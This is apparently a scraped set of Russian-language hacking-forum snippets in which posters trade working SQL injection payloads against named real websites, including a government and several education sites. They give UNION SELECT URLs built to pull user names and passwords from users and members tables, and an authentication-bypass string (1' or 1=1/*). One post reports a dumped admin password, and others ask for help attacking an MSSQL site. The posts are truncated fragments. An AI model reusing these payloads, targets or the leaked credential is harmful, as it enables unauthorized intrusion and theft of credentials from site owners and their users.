Separate names with a comma.
Я думаю тебя смутило это "Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'" Но все...
и убили время :)
Ты скажи: откуда в 4 мускуле бд information_schema
Аналогичная ситуация (uralsmart.ru) тока кого спрашиал - никто не помог...Там конф видать не дает вывод делать... Так что все...
ыгы ыгы...Тыбы статьи почитал а? http://www.softp.ru/?id=-1+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17/* Во первых - с чего...
http://www.zdv.ru/include/gallery.php?item=-1+union+select+1,2,3,4,5,6,7,name,9,10,11,12,13,14,15,16,17,18,version(),password,21+from+users+limit+4...
http://znakomstva.nu/metro.php?st=-1+union+select+1,concat(login,0x26,password),3+from+members/* admin - 13061973 все пароли в открытом виде :)...
Короче есть такой сайтец : uralsmart.ru(провайдр кокойто) на нем есть mssql injection:...
http://3d-sex-villa.info/?view=-1+union+select+version()/* дак вот ) там нет вывода на странице )...
http://www.law.edu.ru/matlist.asp?themRub=20'&docType=11 что можно сделать?
http://www.edu.ru/index.php?page_id=50&op=word&wid=-1' Выодит mysq еррор....начинаю перебор - он мне аццес денайед((
Там еще Post Sql inj: вход: 1' or 1=1/* в админке авторизация базик
http://www.usgs.gov/ уже фильтрацию поставили гады (( тока два дня назад нашел ((
спс :) я просто редко с мсскл сталкивась :)
http://www.usgs.gov/newsroom/article.asp?ID=1' Помогите провести инъект на сайте. У меня с MSSQL пока туговато......